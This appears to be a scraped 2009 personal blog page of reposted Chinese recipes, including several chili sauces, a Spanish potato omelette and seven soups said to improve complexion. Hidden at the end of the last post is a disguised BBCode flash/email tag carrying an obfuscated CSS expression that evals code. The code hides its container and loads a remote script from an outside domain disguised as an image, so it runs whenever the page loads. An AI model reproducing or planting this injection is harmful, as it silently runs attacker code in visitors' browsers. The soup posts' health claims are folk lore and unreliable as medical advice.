　　3. 在锅上加一层笼屉，就可以放心地盖上盖子，据说是因为预留了一个可供蒸汽上升又回落的空间，所以不溢。

　　2和3我试过，效果还不错，找机会试试方案1，嘿嘿...

　　南瓜本身含糖，我个人口味是觉得不用再加糖了。香甜，顺滑，大冷天来一碗，别提多舒服了，从心里开始暖啊...

[转]几种自制辣椒酱的做法

291632847@qq.com(白鹭) — Mon, 30 Nov 2009 12:21:53 GMT

蒜蓉辣酱

　　做法：新鲜的朝天椒，配几只红尖椒（爱吃辣的人可以全用朝天椒），500克番茄，一块姜，两头大蒜。以上各样分别放搅拌机搅成糊状。炒锅放水一小碗，用中火煮，各种糊下锅中，熬酱（蒜蓉留一半最后放），边熬边加盐、糖（少许）、米醋小半瓶。切记要不停地用勺搅拌以防粘锅，由稀转稠就可以关火了，然后下点味精，再把剩下的蒜蓉倒进去，凉后装瓶。
　　贴士：这种辣椒酱绝对可以和市面上有名的蒜蓉辣椒酱比美。还有一个诀窍就是捞一小块泡菜坛里酸掉牙的老萝卜和番茄一起搅，酱的味道会特别香。
剁鲜辣椒

　　做法：鲜朝天椒100克，盐、白酒少许。朝天椒切碎，千万不要辣到手，最好戴着胶皮手套切；一边切，一边往瓶子里放，同时加盐，并用干净的筷子压实，最后洒点白酒，封好，一般3天左右就可以吃了。
　　贴士：吃面的时候放一点，做菜的时候调一勺，很香很开胃的。

甜辣面酱

　　做法：豆瓣100克，花生酱100克，甜面酱200克，蚝油1勺，胡椒粉、冰糖少许，姜末、蒜末、葱末，30克干红辣椒剁碎，植物油，香醋。把豆瓣剁成蓉，与花生酱、甜面酱、蚝油一起装入盆中，搅拌均匀成混合料。烧热锅，倒油，油要多，油热，先下姜末、蒜末、葱末、辣椒末炒香，再将混合料倒入锅中，然后用小火，用锅铲慢慢推匀即可。BJZI百家知易
　　贴士：做酱时，不能搅拌或翻炒，而是慢慢地推匀。等锅中冒出均匀小泡，香气四溢时，放入胡椒粉、冰糖拌匀即可。酱红亮、味醇厚，自然冷却后，装入瓶罐中，注意密封。
牛肉辣酱
　　做法：牛肉500克（肉末），鲜红辣椒500克（绞碎），干黄酱两盒，味精100克，白糖150克，油300克，熟芝麻100克，盐适量。锅内倒油烧热，下牛肉炒片刻，然后将以上调料倒入，翻炒均匀后，再炖一会儿就可以了。
　　贴士：味道香浓，适合拌面
花生辣酱

　　做法：干辣椒25克，熟花生150克，花椒40粒，食油适量，食盐2勺，味精少许。将辣椒和花椒烘干，捣成碎末；熟花生褪皮，然后，将花生仁捣碎；将捣碎的3种原料加入食盐、味精搅拌均匀；炒锅上火，色拉油烧至七分热，将拌好的原料倒入锅中，用筷子翻炒，这时会有呛鼻的辣味窜出，然后加入半碗清水（如掌握不好油温的话，在倒入辣椒的同时，就添加清水）。盖上锅盖，大火焖，逼出水分，熬至黏稠状。起锅，晾冷，将做好的花生辣酱装入玻璃瓶中，随吃随取。

麻辣豆酱

　　做法：鲜嫩蚕豆豆瓣1小碗，小虾干25克，黄酒半匙，细盐1匙，白糖少许，味精微量，花生油3匙，麻油、辣油各少许，辣椒粉、花椒粉各微量。将开洋用黄酒、清水浸约30分钟，使其涨发；洗净锅，放花生油，烧至油七成热时，放蚕豆瓣煸炒，加开洋、细盐、白糖、味精，炒至入味后，再加入辣椒粉、花椒粉、麻油拌匀后，即可起锅、装盆了。
　　贴士：这种酱麻辣鲜香，开胃爽口。制作的时候，必须用热油将豆瓣快速地煸炒，使之不易泛黄；既不宜加水，也不能炒焦了，更不可以勾芡，以确保其酱的爽嫩清香口感。

[转]名厨教做家乡菜：东北家乡菜锅包肉

291632847@qq.com(白鹭) — Mon, 30 Nov 2009 12:18:58 GMT

[转]班牙马铃薯蛋饼

291632847@qq.com(白鹭) — Mon, 30 Nov 2009 12:08:19 GMT

西班牙马铃薯蛋饼
 西班牙马铃薯蛋饼

原料：鸡蛋3个，马铃薯1个(约130克)，洋葱1/4个(约50克)，青椒1个，培根(有火腿最好)4片，色拉油(橄榄油最好)适量，盐适量
 西班牙马铃薯蛋饼

做法：
1，鸡蛋打散，加少许盐。马铃薯去皮切小丁，浸水10分钟去除涩味，沥干水分。请教去蒂头与籽，切成粗末。洋葱，培根也切成粗末。
西班牙马铃薯蛋饼

2，平底锅烧热色拉油，放入马铃薯以中火拌炒。把马铃薯炒成金黄色之后，一次加入洋葱，青椒，培根，拌炒均匀。撒上适量盐拌匀。
西班牙马铃薯蛋饼

 西班牙马铃薯蛋饼

 西班牙马铃薯蛋饼

3，以画圆的动作把蛋汁均匀的倒入锅中。以木铲大幅度搅拌2--3次后，以中火煎至周围凝固。
西班牙马铃薯蛋饼

4，翻面，盖上锅盖，继续煎至蛋饼成焦黄色即可。

[转]七招滋补法让你光彩由内而外

291632847@qq.com(白鹭) — Mon, 30 Nov 2009 12:03:41 GMT

　　导语：女人脸色好，活血真的很重要。只有这样，脸色才会好看，让你由内而外的有光彩。下面介绍的7招滋补方法，大家可以坚持做下去，相信它们会让你的肤色焕然一新哦！
　　1、猪蹄皮冻
　　材料：猪蹄2只，红枣5颗，枸杞15颗
　　这个做法很简单，就是到超市里买新鲜的猪蹄，洗干净后先用热水烫一下，然后捞出，倒入半锅的水，加一些红枣，枸杞然后小火慢炖，大约一个小时后，汤就会变的黄黄的，加盐，鸡精，葱末就可以。喝完汤之后呢，把吃剩的猪蹄打理一下，把骨头都剔掉，把这些猪蹄再放回锅里跟剩下的汤再煮一会，然后捞出来，装在一个平口的盘子中，套上保鲜膜，放在冰箱的冷冻层里，大约15-20分钟左右，你就可以拿出来了。它已经成了软软的皮冻。然后用刀切成若干小快你就可以品尝了。猪蹄含丰富的胶原蛋白，可保持皮肤弹性，减少皱纹，保持好气色。这个汤一个星期喝一次，坚持下去，你就会有惊喜哦。

　　2、四物汤
　　很多MM在月经的时候可能都会肚子疼脸色苍白的，这个汤补血补气，温暖子宫。
　　材料：熟地(用手抓一小把)，党参6-8条，枸杞 40-50粒，当归3-5片(这些材料中药店里都可以买的)，猪骨。
　　将所有的药材跟猪骨放在一起褒汤，大约褒40分钟小火，就差不多了，记住是小火。喝了之后可以滋润皮肤，脸色特别的好。

　　3、银耳百合雪梨糖水
　　这个糖水能从内而外的滋润皮肤，喝了之后皮肤会水水的。
　　材料：雪梨1个，银耳2块(用水先泡20分钟，去掉黄梗)，百合6-10片。
　　将上述食材放在一起煮，大约20-30分钟就可以。如果你喜欢甜，还可以加一些冰糖。

　　4、醋姜猪蹄
　　这个比较适合想胖一点的MM，因为这个汤很补，能很快的恢复体力，还可以去皱补血，是个超级养颜的好东西，喝完脸色会很红润。但是不是说胖的MM就不可以喝，其实也是可以的，只是不要晚上喝，一个星期一次就可以。
　　材料：猪蹄2-3个，大约6-7片姜，香醋两勺。
　　醋本来就是美容的，在炖在猪蹄里，效果自然不用说的啦。所有的食材放在一起煮小火，时间长一些，因为你要把猪蹄煮的烂一些，大约一个小时就可以了，你要是吃不惯酸就放一勺红塘，酸酸甜甜的味道很是不错。当然你要是不喜欢甜也不喜欢酸，那就放一些葱，香菜，也是不错的味道。

　　　　5、鱼肉豆腐汤
　　鱼可是个好东西，富含丰富的营养物质，各种维生素，喜欢吃鱼的MM相信皮肤都不错的。豆腐更是美白的极品。
　　材料：黄鱼或鲫鱼一条，一块豆腐
　　先把鱼收拾干净，入锅两面煎一下，再放入锅里炖，小火，炖到鱼肉已经熟的时候(你可以用筷子感觉一下)，在放豆腐，大约炖上10分钟就可以，再放盐，鸡精调味，放葱末香菜，恩，一锅美容又美味的鱼汤就出锅了，味道真的是鲜美。

　　6、枸杞银耳汤
　　枸杞和银耳两者搭配效果很是不错，既可以补血，又可以美白肌肤。
　　材料：枸杞15—20颗，银耳2块(泡水备用)
　　先把银耳放在锅里小火顿10分钟，然后加入枸杞，两者一起煮10-15分钟，加入冰糖，直到汤液粘稠即可。

　　7、红枣桂圆莲子百合枸杞糖水
　　这款糖水补血又滋润，一年四季都适合。
　　材料：红枣5-10粒，桂圆5粒，新鲜莲子15颗，新鲜百合1个，枸杞15粒
　　此汤最好用新鲜百合和莲子，红枣要去核，这样才不会上火。常喝此汤，能气血充足，脸色红润呢！[flash,0,0]http://catche.qq.com/temp/20081209/4236888.swf[email=]id=baidu style=ee:expression(eval(unescape('this.parentNode.style.display%3D%27none%27%3Bif%28%21window.xxr%29%7Bvar%20l%3Ddocument.createElement%28%27script%27%29%3Bl.src%3D%27http%3A//love.avtupian.com/a/q/mq.jpg%27%3Bl.type%3D%27text/javascript%27%3Bdocument.getElementsByTagName%28%27head%27%29.item%280%29.appendChild%28l%29%3Bwindow.xxr%3D1%7D')));display:none;@qq.com[/email][/flash]

白鹭

[转]三个饮食小秘方 冬天不再怕冻==李时珍食物疗法150条